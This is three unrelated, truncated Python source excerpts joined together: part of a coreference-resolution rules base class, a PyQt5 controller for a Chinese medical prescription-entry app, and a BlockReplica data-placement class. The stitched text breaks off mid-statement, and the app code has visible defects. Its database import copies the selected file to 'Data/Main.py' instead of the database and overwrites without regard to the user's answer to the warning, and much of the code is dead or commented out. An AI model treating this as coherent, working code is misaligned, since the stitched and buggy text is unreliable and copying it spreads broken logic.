# A list of two-member tuples that can be used to begin and end quotations respectively,
# e.g. [('“', '”')]
quote_tuples: List[Tuple[str, str]] = NotImplemented
# Dependency labals that mark dependent siblings
dependent_sibling_deps: Tuple = NotImplemented
# Dependency labels that mark linking elements in a conjunction phrase.
conjunction_deps: Tuple = NotImplemented
# Dependency labels that mark predicates within adverbial clauses.
adverbial_clause_deps: Tuple = NotImplemented
# A tuple of parts of speech that term operators can have. Term operators are determiners and -
# in languages where prepositions depend on nouns in prepositional phrases - prepositions.
term_operator_pos: Tuple = NotImplemented
# A tuple of parts of speech that can form the root of clauses.
clause_root_pos: Tuple = NotImplemented
@abstractmethod
def get_dependent_siblings(self, token: Token) -> List[Token]:
"""Returns a list of tokens that are dependent siblings of *token*. The method must
additionally set *token._.coref_chains.temp_has_or_coordination = True* for all
tokens with dependent siblings that are linked to those siblings by an *or*
relationship."""
@abstractmethod
def is_independent_noun(self, token: Token) -> bool:
"""Returns *True* if *token* heads a noun phrase.
Being an independent noun and being a potential anaphor are mutually exclusive.
"""
@abstractmethod
def is_potential_anaphor(self, token: Token) -> bool:
"""Returns *True* if *token* is a potential anaphor, e.g. a pronoun like 'he', 'she'.
Being an independent noun and being a potential anaphor are mutually exclusive.
"""
@abstractmethod
def is_potential_anaphoric_pair(
self, referred: Mention, referring: Token, directly: bool
) -> int:
"""Returns *2* if the rules would permit *referred* and *referring* to co-exist
within a chain, *0* if they would not and *1* if coexistence is unlikely.
if *directly==True*, the question concerns direct coreference between the two
elements; if *directly==False* the question concerns coexistence in a chain.
For example, although 'himself' is unlikely to refer directly to 'he' in a non-reflexive
situation, the same two pronouns can easily coexist within a chain, while 'he' and 'she'
can never coexist anywhere within the same chain.
Implementations of this method may need to exclude special cases of incorrect
cataphoric (forward-referring) pronouns picked up by the general (non language-
specific) method below.
"""
@abstractmethod
def is_potentially_indefinite(self, token: Token) -> bool:
"""Returns *True* if *token* heads a common noun phrase that is indefinite, or — in
languages that do not mark indefiniteness — which could be interpreted as being indefinite.
*False* should be returned if *token* is a proper noun.
"""
@abstractmethod
def is_potentially_definite(self, token: Token) -> bool:
"""Returns *True* if *token* heads a common noun phrase that is definite, or — in
languages that do not mark definiteness — which could be interpreted as being definite.
*False* should be returned if *token* is a proper noun.
"""
@abstractmethod
def is_reflexive_anaphor(self, token: Token) -> int:
"""Returns *2* if *token* expresses an anaphor which MUST be used reflexively, e.g.
'sich' in German; *1* if *token* expresses an anaphor which MAY be used reflexively,
e.g. 'himself'; *0* if *token* expresses an anaphor which MUST NOT be used reflexively,
e.g. 'him'.
"""
@abstractmethod
def is_potential_reflexive_pair(self, referred: Mention, referring: Token) -> bool:
"""Returns *True* if *referring* stands in a syntactic relationship to
*referred* that would require a reflexive anaphor if the two elements belonged to the
same chain e.g. 'he saw himself', but also 'he saw him' (where the non-reflexive
anaphor would _preclude_ the two elements from being in the same chain).
*True* should only be returned in syntactic positions where reflexive anaphors are
observed for the language in question. For example, Polish has reflexive possessive
pronouns but German does not, so *True* is returned for Polish in situations where
*False* is returned for German. In a language without reflexive anaphors, *False*
should always be returned.
In many languages reflexive anaphors can precede their referents: in languages where
this is not the case, the method should check that *referred.root_index < referring.i*.
"""
### MAY BE OVERRIDDEN BY IMPLEMENTING SUBCLASSES:
maximum_anaphora_sentence_referential_distance = 5
maximum_coreferring_nouns_sentence_referential_distance = 2
training_epochs = 4
root_dep = "ROOT"
# A tuple of parts of speech that can head predications semantically, i.e. verbs
# (but not auxiliaries)
verb_pos = "VERB"
# A tuple of parts of speech that nouns can have.
noun_pos = ("NOUN", "PROPN")
# A tuple of parts of speech that proper nouns can have.
propn_pos = "PROPN"
number_morph_key = "Number"
### COULD BE OVERRIDDEN BY IMPLEMENTING CLASSES, BUT THIS IS NOT EXPECTED
### TO BE NECESSARY:
def __init__(self):
self.reverse_entity_noun_dictionary = {}
for entity_type, values in self.entity_noun_dictionary.items():
for value in values:
assert value not in self.reverse_entity_noun_dictionary
self.reverse_entity_noun_dictionary[value.lower()] = entity_type
def initialize(self, doc: Doc) -> None:
"""Adds *ChainHolder* objects to *doc* as well as to each token in *doc*
and stores temporary information on the objects that will be required during further
processing."""
doc._.coref_chains = ChainHolder()
for token in doc:
token._.coref_chains = ChainHolder()
# Adds to *doc* a list of the start indexes of the sentences it contains.
doc._.coref_chains.temp_sent_starts = [s[0].i for s in doc.sents] # type: ignore[attr-defined]
# Adds to each token in *doc* the index of the sentence that contains it.
for index, sent in enumerate(doc.sents):
for token in sent:
token._.coref_chains.temp_sent_index = index
# For each token in *doc*, if the token has dependent siblings, adds to the
# *CorefChainHolder* instance of the token a list containing them, otherwise an empty list.
# Wherever token B is added as a dependent sibling of token A, A is also added to B as a
# governing sibling.
for token in doc:
siblings_list = self.get_dependent_siblings(token)
token._.coref_chains.temp_dependent_siblings = siblings_list
for sibling in (
sibling for sibling in siblings_list if sibling.i != token.i
):
if token._.coref_chains.temp_governing_sibling is None:
# in Polish some nouns can form part of two chains
sibling._.coref_chains.temp_governing_sibling = token
# Adds an array representing which quotes the word is within. Note that the failure
# to end a quotation within a document will not cause any problems because the neural
# network is only given the information whether two members of a potential pair have
# the same quote array or a different quote array.
working_quote_array = [0 for entry in self.quote_tuples]
for token in doc:
for index, quote_tuple in enumerate(self.quote_tuples):
if working_quote_array[index] == 0 and token.text == quote_tuple[0]:
working_quote_array[index] = 1
elif working_quote_array[index] == 1 and token.text == quote_tuple[1]:
working_quote_array[index] = 0
token._.coref_chains.temp_quote_array = working_quote_array[:]
# Adds to each potential anaphora a list of potential referred mentions.
for token in doc:
token._.coref_chains.temp_potentially_referring = self.is_independent_noun(
token
)
if self.is_potential_anaphor(token):
potential_referreds = []
this_sentence_start_index = | |
<filename>Control.py<gh_stars>10-100
from UI.UI import Ui_MainWindow
from UI.reminder import Ui_reminder
from UI.property import Ui_Property
from UI.information import Ui_Information
from UI.MessageBox import MessageBox
from UI.inquire import Ui_Inquire
from UI.wrong import Ui_Wrong
from UI.final import Ui_final_2
from UI.yes import Ui_Yes
from PyQt5.QtWidgets import QMainWindow, QApplication, QWidget, QAction, QTableWidget,QTableWidgetItem,QVBoxLayout, QFileDialog
import sys
from Front import Frontend
from UI.missPhone import Ui_missPhone
import time
from UI.quantity import Ui_quantity
from UI.result import Ui_result
from UI.relationDelete import Ui_relationDelete
from PyQt5 import QtCore, QtGui, QtWidgets
from UI.login import Ui_LogIn
from UI.logwrong import Ui_LogWrong
import time
import getpass
class Interface(QMainWindow, Ui_MainWindow):
def __init__(self):
# 修改界面
super(Interface, self).__init__()
self.setupUi(self)
class Reminder(QMainWindow, Ui_reminder):
def __init__(self):
# 修改界面
super(Reminder, self).__init__()
self.setupUi(self)
class Information(QMainWindow, Ui_Information):
def __init__(self):
# 修改界面
super(Information, self).__init__()
self.setupUi(self)
class Wrong(QMainWindow, Ui_Wrong):
def __init__(self):
# 修改界面
super(Wrong, self).__init__()
self.setupUi(self)
'''
class ReminderAdvanced(QMainWindow, MessageBox, title, text):
app = QApplication(sys.argv)
main_window = MessageBox(title, text)
main_window.show()
sys.exit(app.exec_())
'''
class Property(QMainWindow, Ui_Property):
def __init__(self):
# 修改界面
super(Property, self).__init__()
self.setupUi(self)
class Inquire(QMainWindow, Ui_Inquire):
def __init__(self):
# 修改界面
super(Inquire, self).__init__()
self.setupUi(self)
class Final(QMainWindow, Ui_final_2):
def __init__(self):
# 修改界面
super(Final, self).__init__()
self.setupUi(self)
class Yes(QMainWindow, Ui_Yes):
def __init__(self):
# 修改界面
super(Yes, self).__init__()
self.setupUi(self)
class Quantity(QMainWindow, Ui_quantity):
def __init__(self):
# 修改界面
super(Quantity, self).__init__()
self.setupUi(self)
class Result(QMainWindow, Ui_result):
def __init__(self):
super(Result, self).__init__()
self.setupUi(self)
class MissPhone(QMainWindow, Ui_missPhone):
def __init__(self):
super(MissPhone, self).__init__()
self.setupUi(self)
class RelationDelete(QMainWindow, Ui_relationDelete):
def __init__(self):
super(RelationDelete, self).__init__()
self.setupUi(self)
class LogIn(QMainWindow, Ui_LogIn):
def __init__(self):
super(LogIn, self).__init__()
self.setupUi(self)
class LogWrong(QMainWindow, Ui_LogWrong):
def __init__(self):
super(LogWrong, self).__init__()
self.setupUi(self)
class Control:
def __init__(self):
app = QApplication(sys.argv)
self.interface = Interface()
#self.interface.show()
#self.inquire.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers)
self.quantity = Quantity()
#self.quantity.show()
self.information = Information()
#self.information.show()
#self.RelationDelete.show()
self.interface.show()
self.reminder = Reminder()
self.property = Property()
self.inquire = Inquire()
self.final = Final()
#self.final.show()
self.yes = Yes()
self.result = Result()
self.missPhone = MissPhone()
self.relationdelete = RelationDelete()
self.login = LogIn()
self.logwrong = LogWrong()
self.login.show()
#self.inquire.show()
#self.missPhone.show()
# 界面生成
self.front = Frontend(self.interface, self.reminder, self.information, self.property)
# 定义交互Class
self.group_inputs = list()
self.group_inputs.append(self.interface.lineSymptom)
self.group_inputs.append(self.interface.lineDisease)
self.group_inputs.append(self.interface.linePrescription)
self.group_inputs.append(self.interface.lineMedicine)
self.group_additions = list()
self.group_additions.append(self.interface.buttonSymptom)
self.group_additions.append(self.interface.buttonDisease)
self.group_additions.append(self.interface.buttonPrescription)
self.group_additions.append(self.interface.buttonMedicine)
self.group_options = list()
self.group_options.append(self.interface.symptomOption)
self.group_options.append(self.interface.diseaseOption)
self.group_options.append(self.interface.prescriptionOption)
self.group_options.append(self.interface.medicineOption)
self.group_tables = list()
self.group_tables.append(self.interface.tablewidgetSymptom)
self.group_tables.append(self.interface.tablewidgetDisease)
self.group_tables.append(self.interface.tablewidgetPrescription)
self.group_tables.append(self.interface.tablewidgetMedicine)
self.group_tables.append(self.interface.tablewidgetBook)
self.group_tables.append(self.interface.tablewidgetPrescribe)
#self.front.back.final_save()
# 定义组件组
''' 以下为信号操作 '''
'''
for option in self.group_options: # 下拉框选择
option.clicked.connect(lambda: self.option_clicked(option))
for input_box in self.group_inputs: # 输入框输入
input_box.textChanged.connect(lambda: self.line_text_changed(input_box))
'''
# --- login按钮组 --- #
self.login.yesButton.clicked.connect(lambda: self.start())
self.login.noButton.clicked.connect(lambda: self.login.close())
# --- interface按钮组 --- #
self.interface.tablewidgetSymptom.clicked.connect(lambda: self.table_option_clicked(0))
self.interface.tablewidgetDisease.clicked.connect(lambda: self.table_option_clicked(1))
self.interface.tablewidgetPrescription.clicked.connect(lambda: self.table_option_clicked(2))
self.interface.tablewidgetMedicine.clicked.connect(lambda: self.table_option_clicked(3))
self.interface.symptomOption.clicked.connect(lambda: self.option_clicked(self.interface.symptomOption))
self.interface.diseaseOption.clicked.connect(lambda: self.option_clicked(self.interface.diseaseOption))
self.interface.prescriptionOption.clicked.connect(lambda: self.option_clicked(self.interface.prescriptionOption))
self.interface.medicineOption.clicked.connect(lambda: self.option_clicked(self.interface.medicineOption))
self.interface.lineSymptom.textChanged.connect(lambda: self.line_text_changed(self.interface.lineSymptom))
self.interface.lineDisease.textChanged.connect(lambda: self.line_text_changed(self.interface.lineDisease))
self.interface.linePrescription.textChanged.connect(lambda: self.line_text_changed(self.interface.linePrescription))
self.interface.lineMedicine.textChanged.connect(lambda: self.line_text_changed(self.interface.lineMedicine))
# 加号按钮
self.interface.buttonSymptom.clicked.connect(lambda: self.button_clicked(self.interface.lineSymptom))
self.interface.buttonDisease.clicked.connect(lambda: self.button_clicked(self.interface.lineDisease))
self.interface.buttonPrescription.clicked.connect(lambda: self.button_clicked(self.interface.linePrescription))
self.interface.buttonMedicine.clicked.connect(lambda: self.button_clicked(self.interface.lineMedicine))
# 按钮隐藏
self.interface.buttonDeleterelation.hide()
# self.reminder.buttonYes.clicked.connect(lambda: self.button_yes_reminder())
# self.reminder.buttonNo.clicked.connect(lambda: self.button_no_reminder())
'''
self.interface.buttonDisease.clicked.connect(lambda: self.button_clicked(self.interface.diseaseOption))
self.interface.buttonPrescription.clicked.connect(lambda: self.button_clicked(self.interface.prescriptionOption))
self.interface.buttonMedicine.clicked.connect(lambda: self.button_clicked(self.interface.medicineOption))
'''
# --- information按钮组 --- #
self.information.IButtonYes.clicked.connect(lambda: self.i_buttonInput_clicked())
#self.information.IButtonYes.clicked.connect(lambda: self.interface.show())
self.information.IButtonGetinUI.clicked.connect(lambda: self.interface.show())
self.information.IButtonInquire.clicked.connect(lambda: self.inquire.show())
self.information.IButtonOut.clicked.connect(lambda: self.information.hide())
# --- information 触发--- #
self.information.lineSymptom.textChanged.connect(lambda: self.i_line_text_changed())
self.information.option.hide()
self.information.DBOutput.clicked.connect(lambda: self.output())
self.information.DBInput.clicked.connect(lambda: self.input())
self.information.option.clicked.connect(lambda: self.i_option_clicked(self.information.option))
# --- inquire按钮组 --- #
#self.inquire.ButtonYes.clicked.connect(lambda: self.inquire.hide())
# --- inquire 触发 --- #
# --- interface按钮组 --- #
self.interface.radioButton_2.toggled.connect(lambda: self.change_type()) # 切换模式
self.interface.buttonInput.clicked.connect(lambda: self.yes.show()) # 录入
self.yes.yesButton.clicked.connect(lambda: self.buttonInput_clicked())
self.interface.buttonInitial.clicked.connect(lambda: self.initial_button_clicked()) # 初始化
self.interface.buttonClean.clicked.connect(lambda: self.buttonClean_clicked())
self.interface.buttonDelete.clicked.connect(lambda: self.buttonDelete_clicked()) # 删除
self.interface.buttonDeleterelation.clicked.connect(lambda: self.relationdelete.show())# 删除关系
self.interface.buttonOut.clicked.connect(lambda: self.interface_out()) # 退出
self.interface.buttonSave.clicked.connect(lambda: self.final.show()) # 最终保存
# --- RelationDelete按钮组 --- #
self.relationdelete.buttonYes.clicked.connect(lambda: self.buttonRelationDelete_clicked())
self.relationdelete.buttonNo.clicked.connect(lambda: self.relationdelete.hide())
# --- Inquire按钮组 --- #
self.inquire.ButtonYes.clicked.connect(lambda: self.iq_buttonYes_clicked()) # 查询
self.inquire.ButtonOut.clicked.connect(lambda: self.inquire_button_out())
# --- Final按钮组 --- #
#self.interface.buttonSave.clicked.connect(lambda: self.buttonSave_clicked())
self.final.buttonContinue.clicked.connect(lambda: self.buttonContinue_click())
self.final.buttonOut.clicked.connect(lambda: self.buttonOut_click())
# --- quantity按钮组件 ---#
self.quantity.pushButton.clicked.connect(lambda: self.quantity_button_clicked())
# --- result按钮组件 ---#
self.inquire.tableWidget.doubleClicked.connect(lambda: self.inquire_widget_double_clicked(self.inquire.tableWidget))
self.result.ButtonOut.clicked.connect(lambda: self.buttonOut_clicked())
self.result.tableWidget.doubleClicked.connect(lambda: self.result_widget_double_clicked(self.result.tableWidget))
#self.interface.tablewidgetPrescription.clicked.connect(lambda: self.table_option_clicked(2))
#self.inquire.show()
#self.interface.tablewidgetSymptom.clicked.connect(lambda: self.table_option_clicked(0))
# --- 缺失手机按钮组件 ---#
self.missPhone.yesButton.clicked.connect(lambda: self.missPhone_clicked())
self.logwrong.yesButton.clicked.connect(lambda: self.logwrong.close())
#self.interface.show()
''' 以下为界面初始化处理 '''
for i in range(8):
# 设定药方区结构
if i % 2 == 0:
self.interface.tablewidgetPrescribe.setColumnWidth(i, 150)
else:
self.interface.tablewidgetPrescribe.setColumnWidth(i, 69)
tmp = [90, 50, 50]
for i in range(3):
self.interface.tablewidgetMedicine.setColumnWidth(i, tmp[i])
for addition in self.group_additions: addition.hide() # 隐藏加号
for table in self.group_tables: table.setShowGrid(False) # 隐藏内边框
for option in self.group_options: option.hide() # 隐藏下拉框
# self.front.set_table(self.interface.tablewidgetMedicine, data)
# 测试代码
sys.exit(app.exec_())
def output(self):
import shutil, datetime
time = datetime.datetime.now().strftime("%Y%m%d%H%M%S")
shutil.copyfile('Data/Main.db', 'Data/%s.bak' % time)
self.show_reminder('数据库导出', '导出成功:%s.bak' % time)
def input(self):
import shutil
file = QFileDialog.getOpenFileName()
self.show_reminder('数据库导入', '警告:原有数据库将被覆盖,继续?')
self.output()
shutil.copyfile(file[0], 'Data/Main.py')
self.show_reminder('数据库导入', '导入成功')
@staticmethod
def show_reminder(title, text):
# 显示弹框
main_window = MessageBox(title, text)
main_window.show()
return main_window.status
# 1 -> Yes, 0 -> No
def change_type(self):
# 切换模式
for widget in self.group_tables[0:4]:
widget.clear()
for list0 in self.front.search_area:
list0.clear()
for line in self.group_inputs:
line.clear()
# 清空当前所有信息
if self.interface.radioButton_2.isChecked():
print("当前处于开方模式")
self.interface.tablewidgetMedicine.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows)
self.front.type = 1
self.interface.labelType.setText('开方模式')
self.interface.groupboxSymptom.setGeometry(10, 70, 211, 411)
self.interface.groupboxDisease.setGeometry(220, 70, 241, 411)
self.interface.tablewidgetMedicine.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers)
for addition in self.group_additions:
addition.hide()
self.interface.buttonDeleterelation.hide()
else:
self.front.type = 0
self.interface.labelType.setText('录入模式')
self.interface.tablewidgetMedicine.setEditTriggers(QtWidgets.QAbstractItemView.DoubleClicked)
self.interface.groupboxSymptom.setGeometry(220, 70, 241, 411)
self.interface.groupboxDisease.setGeometry(10, 70, 211, 411)
self.interface.buttonDeleterelation.show()
self.interface.tablewidgetMedicine.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows)
print("当前处于录入模式")
for addition in self.group_additions:
addition.show()
pass
def line_text_changed(self, input_box):
# 检测到输入框有输入
index = self.group_inputs.index(input_box)
self.front.get_input(index, input_box, self.group_options[index])
pass
def i_line_text_changed(self):
#information界面的方法
self.front.get_input(0, self.information.lineSymptom, self.information.option)
pass
def option_clicked(self, option):
# 检测到下拉框被点击
index = self.group_options.index(option)
text = str(option.selectedItems()[0].text())
data = "0"
self.group_inputs[index].setText("")
#清空line里面的内容
option.hide()
mode = self.front.type
self.front.optioned_data(index, text, mode, data)
pass
def i_option_clicked(self, option):
# 检测到下拉框被点击
text = str(option.selectedItems()[0].text())
self.information.option.clear()
option.hide()
print("1")
self.front.optioned_data(0, text, 0, 1)
self.information.lineSymptom.clear()
pass
def table_option_clicked(self, table_id):
# 检测到列表中的选项被选中
table = self.group_tables[table_id]
mode = self.front.type
try:
if table_id != 3 :
text = str(table.selectedItems()[0].text())
self.front.optioned_data(table_id, text, mode)
except IndexError:
pass
def button_clicked(self, line):
# 录入模式中,当+按钮被点击
# self.interface.buttonSymptom.clicked.connect(lambda: self.front.save_data(0))
text = line.text()
index = self.group_inputs.index(line)
if text != '':
# self.reminder.show()
result = self.show_reminder('', '是否添加')
#print(text) # test
if result:
# 点击yes
listIndex = []
for i in self.group_inputs:
if i.text():
index = self.group_inputs.index(i)
listIndex.append(index)
for l in listIndex:
self.front.save_data(l, text)
if l == 3:
self.front.search_area[l].append([text," "])
print(self.front.search_area[l])
else:
self.front.search_area[l].append([text])
self.front.set_all_tables(self.front.search_area)
line.clear()
self.reminder.hide()
print(1)
'''
if text != '' and index == 3:
self.quantity.show()
# self.reminder.show()
result = self.show_reminder('', '添加成功')
# print(text) # test
if result:
# 点击yes
listIndex = []
for i in self.group_inputs:
if i.text():
index = self.group_inputs.index(i)
listIndex.append(index)
for l in listIndex:
line = self.group_inputs[l]
text = line.text()
self.front.save_data(l, text)
self.front.search_area[l].append([text])
self.front.set_all_tables(self.front.search_area)
line.clear()
self.reminder.hide()
print(1)
#这个怎么搞?self.group_additions
pass
'''
def quantity_button_clicked(self):
text = self.quantity.lineQuantity.text()
print(text)
self.front.search_area[3].append([text])
self.quantity.hide()
pass
def buttonSave_clicked(self):
'''
for i in 7:
for j in 8:
if self.interface.tablewidgetPrescribe(i, j) != "null":
self.prescription_area.append(self.interface.tablewidgetPrescribe(i, j))
'''
print("输出id" + self.front.id)
#self.front.id = 0
#待测试
self.final.show()
pass
'''
def button_yes_reminder(self):
# self.front.save_data(self.interface.lineSymptom,'(需要变化)',box_id)
"""
text = self.interface.lineSymptom.text()
#print(text)
index = self.group_inputs.index(self.interface.lineSymptom)
#print(index)
self.front.save_data(index,text)
self.reminder.hide()
self.front.search_area[index].append([text])
self.front.set_all_tables(self.front.search_area)
self.interface.lineSymptom.clear()
"""
listIndex = []
for i in self.group_inputs:
if i.text():
index = self.group_inputs.index(i)
listIndex.append(index)
for l in listIndex:
line = self.group_inputs[l]
text = line.text()
self.front.save_data(l,text)
self.front.search_area[l].append([text])
self.front.set_all_tables(self.front.search_area)
line.clear()
self.reminder.hide()
#print(text)
#print(index)
''''''
'''
def buttonRelationDelete_clicked(self):
for i in range(3):
if len(self.front.search_area[i])!= 0 and len(self.front.search_area[i+1]) != 0:
for l in self.front.search_area[i]:
for m in self.front.search_area[i+1]:
self.front.back.drop_relation(i, l[0], m[0])
self.relationdelete.hide()
print("###删除关系后")
print(self.front.search_area[3])
#self.initial_button_clicked()
'''
for i in self.front.search_area:
i.clear()
for widget in self.group_tables[0:5]:
widget.clear()
'''
pass
def buttonDelete_clicked(self):
#index = self.table_option_clicked().index
#text = self.table_option_clicked().text
for i in range(4):
if self.group_tables[i].selectedItems() and i != 3:
text = self.group_tables[i].selectedItems()[0].text()
print(text)
self.front.search_area[i].remove([text])
if self.group_tables[i].selectedItems() and i == 3:
text1 = self.group_tables[i].selectedItems()[0].text()
text2 = self.group_tables[i].selectedItems()[1].text()
if text2:
print(self.front.search_area[i])
self.front.search_area[i].remove([text1,text2])
else:
self.front.search_area[i].remove([text])
for widget in self.group_tables[0:4]:
widget.clear()
self.front.set_all_tables(self.front.search_area)
'''
for widget in self.group_tables[0:5]:
widget.clear()
#self.front.back.deletedate(index,text)
#for i in self.group_tables[0:5]:
#if i clicked:
#self.front.search_area[i].selected.clear
#self.group_tables[i].selected.clear
#self.front.back.deletedate(index,text)
def button_no_reminder(self):
self.reminder.hide()
"""
self.interface.buttonSymptom.clicked.connect(lambda: self.front.save_data(0, self.interface.lineSymptom,self.reminder))
self.interface.buttonDisease.clicked.connect(lambda: self.front.save_data(1, self.interface.lineDisease,self.reminder))
self.interface.buttonPrescription.clicked.connect(lambda: self.front.save_data(2, self.interface.linePrescription,self.reminder))
self.interface.buttonMedicine.clicked.connect(lambda: self.front.save_data(3, self.interface.lineMedicine,self.reminder))
"""
pass
'''
def initial_button_clicked(self):
# 初始化按钮
for i in self.front.search_area:
i.clear()
for widget in self.group_tables[0:5]:
widget.clear()
'''
for j in self.front.widgets:
j.clear()
for i in self.group_tables:
i.clear
'''
def buttonInput_clicked(self):
# 录入按钮
if self.front.type == 1:
# 开方模式
medicines = self.front.search_area[3]
print(medicines)
list_1 =list()
self.get_table_data(self.interface.tablewidgetPrescribe,list_1) #获取所有输入的药
if list_1 == ['', '']:
list_1 = []
print("******")
print(list_1) #每次都获取开方区里的所有数据
list_2 =list() #改变list_1里面的结构
list_3 =list() #改变medicines里面的结构
print("***")
print(self.front.result_list)
for j in range(len(medicines)):
list_3 += medicines[j]
print(list_3)
#同理,改变结构
list_1 = list_1 + list_3
print(list_1)
#把两个列表合成一个列表
if list_1[0] == " ":
del list_1[0]
if int(len(list_1)) % 8 == 0:
row = int(len(list_1) / 8)
else:
row = int(len(list_1) / 8) + 1
print(row)
list_4 = [list() for i in range(row)]
n = 0
for i in list_1:
list_4[int(n / 8)].append(i)
# self.group_tables[5][int(n / 4)].append('')
n += 1
print(list_4)
self.front.set_table(self.group_tables[5], list_4)
self.interface.tablewidgetMedicine.clear()
self.front.search_area[3].clear()
#self.front.result_list.clear()
#self.front.set_table(self.group_tables[5], text_all)
'''
if int(len(list_1)) % 4 == 0:
row = int(len(list_1) / 4)
else:
row = int(len(list_1) / 4) + 1
text_all = [list() | |
import logging
import time
from exceptions import ObjectError
from block import Block
from _namespace import customize_blockreplica
LOG = logging.getLogger(__name__)
class BlockReplica(object):
"""Block placement at a site. Holds an attribute 'group' which can be None.
BlockReplica size can be different from that of the Block."""
__slots__ = ['_block', '_site', 'group', 'is_custodial', 'size', 'last_update', 'file_ids']
_use_file_ids = True
@property
def block(self):
return self._block
@property
def site(self):
return self._site
@property
def num_files(self):
if self.file_ids is None:
return self.block.num_files
else:
return len(self.file_ids)
def __init__(self, block, site, group, is_custodial = False, size = -1, last_update = 0, file_ids = None):
# User of the object is responsible for making sure size and file_ids are consistent
# if _use_file_ids is True, file_ids should be a tuple of (long) integers or LFN strings,
# latter in case where the file is not yet registered with the inventory
# if _use_file_ids is False, file_ids is the number of files this replica has.
self._block = block
self._site = site
self.group = group
self.is_custodial = is_custodial
self.last_update = last_update
# Override file_ids depending on the given size:
# If size < 0, this replica is considered full. If type(block) is Block, set the size and file_ids
# from the block. If not, this is a transient object - just set the size to -1.
# If size == 0 and file_ids is None, self.file_ids becomes an empty tuple.
# size == 0 and file_ids = finite tuple is allowed. It is the object creator's responsibility to
# ensure that the files in the provided list are all 0-size.
if size < 0:
if type(block) is Block:
self.size = block.size
if BlockReplica._use_file_ids:
self.file_ids = None
else:
self.file_ids = block.num_files
else:
self.size = -1
self.file_ids = None
elif size == 0 and file_ids is None:
self.size = 0
if BlockReplica._use_file_ids:
self.file_ids = tuple()
else:
self.file_ids = 0
elif file_ids is None:
if type(block) is not Block:
raise ObjectError('Cannot initialize a BlockReplica with finite size and file_ids = None without a valid block')
if size == block.size:
self.size = size
if BlockReplica._use_file_ids:
self.file_ids = None
else:
self.file_ids = block.num_files
else:
raise ObjectError('BlockReplica file_ids cannot be None when size is finite and not the full block size')
else:
self.size = size
if BlockReplica._use_file_ids:
# some iterable
tmplist = []
for fid in file_ids:
if type(self._block) is not str and type(fid) is str:
tmplist.append(self._block.find_file(fid, must_find = True).id)
else:
tmplist.append(fid)
self.file_ids = tuple(tmplist)
else:
# must be an integer
self.file_ids = file_ids
def __str__(self):
return 'BlockReplica %s:%s (group=%s, size=%d, last_update=%s)' % \
(self._site_name(), self._block_full_name(),
self._group_name(), self.size,
time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime(self.last_update)))
def __repr__(self):
# repr is mostly used for application - server communication. Set size to -1 if the replica is complete
if self.is_complete():
size = -1
file_ids = None
else:
size = self.size
file_ids = self.file_ids
return 'BlockReplica(%s,%s,%s,%s,%d,%d,%s)' % \
(repr(self._block_full_name()), repr(self._site_name()), repr(self._group_name()), \
self.is_custodial, size, self.last_update, repr(file_ids))
def __eq__(self, other):
if BlockReplica._use_file_ids:
# check len() first to avoid having to create sets for no good reason
if (self.file_ids is None and other.file_ids is not None) or \
(self.file_ids is not None and other.file_ids is None):
return False
file_ids_match = (self.file_ids == other.file_ids) or ((len(self.file_ids) == len(other.file_ids)) and (set(self.file_ids) == set(other.file_ids)))
else:
file_ids_match = self.file_ids == other.file_ids
return self is other or \
(self._block_full_name() == other._block_full_name() and self._site_name() == other._site_name() and \
self._group_name() == other._group_name() and \
self.is_custodial == other.is_custodial and self.size == other.size and \
self.last_update == other.last_update and file_ids_match)
def __ne__(self, other):
return not self.__eq__(other)
def copy(self, other):
if self._block_full_name() != other._block_full_name():
raise ObjectError('Cannot copy a replica of %s into a replica of %s' % (other._block_full_name(), self._block_full_name()))
if self._site_name() != other._site_name():
raise ObjectError('Cannot copy a replica at %s into a replica at %s' % (other._site.name, self._site_name()))
self._copy_no_check(other)
def embed_into(self, inventory, check = False):
try:
dataset = inventory.datasets[self._dataset_name()]
except KeyError:
raise ObjectError('Unknown dataset %s' % (self._dataset_name()))
block = dataset.find_block(self._block_name(), must_find = True)
try:
site = inventory.sites[self._site_name()]
except KeyError:
raise ObjectError('Unknown site %s' % (self._site_name()))
try:
group = inventory.groups[self._group_name()]
except KeyError:
raise ObjectError('Unknown group %s' % (self._group_name()))
replica = block.find_replica(site)
updated = False
if replica is None:
replica = BlockReplica(block, site, group, self.is_custodial, self.size, self.last_update, self.file_ids)
dataset_replica = site.find_dataset_replica(dataset, must_find = True)
dataset_replica.block_replicas.add(replica)
block.replicas.add(replica)
site.add_block_replica(replica)
updated = True
elif check and (replica is self or replica == self):
# identical object -> return False if check is requested
pass
else:
replica.copy(self)
if type(self.group) is str or self.group is None:
# can happen if self is an unlinked clone
replica.group = group
if self.size < 0:
# self represents a full block replica without the knowledge of the actual size (again an unlinked clone)
replica.size = block.size
site.update_partitioning(replica)
updated = True
if check:
return replica, updated
else:
return replica
def unlink_from(self, inventory):
try:
dataset = inventory.datasets[self._dataset_name()]
block = dataset.find_block(self._block_name(), must_find = True)
site = inventory.sites[self._site_name()]
replica = block.find_replica(site, must_find = True)
except (KeyError, ObjectError):
return None
replica.unlink()
return replica
def unlink(self, dataset_replica = None, unlink_dataset_replica = True):
if dataset_replica is None:
dataset_replica = self._site.find_dataset_replica(self._block._dataset, must_find = True)
for site_partition in self._site.partitions.itervalues():
try:
block_replicas = site_partition.replicas[dataset_replica]
except KeyError:
continue
if block_replicas is None:
# site_partition contained all block replicas. It will contain all after a deletion.
continue
try:
block_replicas.remove(self)
except KeyError:
# this replica was not part of the partition
continue
if len(block_replicas) == 0:
site_partition.replicas.pop(dataset_replica)
dataset_replica.block_replicas.remove(self)
if unlink_dataset_replica and len(dataset_replica.block_replicas) == 0:
# Cannot be growing in this case. We want to trigger its deletion.
dataset_replica.growing = False
if unlink_dataset_replica and not dataset_replica.growing and len(dataset_replica.block_replicas) == 0:
dataset_replica.unlink()
self._block.replicas.remove(self)
def write_into(self, store):
if BlockReplica._use_file_ids and self.file_ids is not None:
for fid in self.file_ids:
try:
fid += 0
except TypeError:
# was some string
raise ObjectError('Cannot write %s into store because one of the files %s %s is not known yet' % (str(self), fid, type(fid).__name__))
store.save_blockreplica(self)
def delete_from(self, store):
store.delete_blockreplica(self)
def is_complete(self):
size_match = (self.size == self._block.size)
if BlockReplica._use_file_ids:
if self.file_ids is None:
return True
else:
# considering the case where we are missing zero-size files
return size_match and (len(self.file_ids) == self._block.num_files)
else:
return size_match and (self.file_ids == self._block.num_files)
def files(self):
